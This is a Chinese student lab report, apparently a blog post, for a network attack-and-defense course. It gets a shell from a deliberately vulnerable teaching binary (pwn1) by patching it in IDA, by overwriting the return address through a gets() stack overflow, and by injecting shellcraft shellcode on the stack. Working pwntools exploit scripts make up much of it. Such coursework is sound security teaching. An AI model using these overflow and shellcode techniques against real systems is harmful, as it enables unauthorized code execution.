20232937文兆宇 2023-2024-2 《网络攻防实践》实践九报告

20232937文兆宇 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.实践过程

默认用户名(yaoxi)
查看主函数
在这里插入图片描述
gets函数 栈溢出点
在这里插入图片描述
有后门,一眼re2text
在这里插入图片描述

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

这里用ida直接patch ,把调用foo变成调用后门就行,
后门地址为0x0804847D

在这里插入图片描述patch后:
在这里插入图片描述
在这里插入图片描述
保存运行,直接拿到权限
在这里插入图片描述

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

用gdb进行调试,下断点在主函数,走到gets
在这里插入图片描述可以看到ebp的地址为xxxxc8 输入的地址为xxxxac
需要覆盖0x1c的垃圾数据
在这里插入图片描述编写脚本

from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
io.sendline(payload)
io.interactive()

已经getshell
在这里插入图片描述这里再用gdb跟踪一下观察,在ret的时候返回地址已经变成binsh了
在这里插入图片描述

2.3注入一个自己制作的shellcode并运行这段shellcode

用系统生成一个32位的shellcode

asm(shellcraft.sh())
from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
print(shellcraft.sh())
print(asm(shellcraft.sh()))

#binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
#payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
#io.sendline(payload)
#io.interactive()

在这里插入图片描述有RWX 直接读shellcode就行
在这里插入图片描述这里把shellcode写到栈里,(为了方便 关闭aslr 来读栈地址)

from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
#print(shellcraft.sh())
#print(asm(shellcraft.sh()))

binsh=asm(shellcraft.sh())
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(0xffffd110)+binsh
print(payload)
io.sendline(payload)
io.interactive()

在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:靶机链接不上桥接网络
  • 问题1解决方案:重新配置该虚拟机的ip地址,并重启,可以成功连接到网络

4.实践总结

通过这次实验,我学习了二进制文件的简单知识,学会了gdb的使用和栈溢出漏洞,十分开心。

参考资料

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值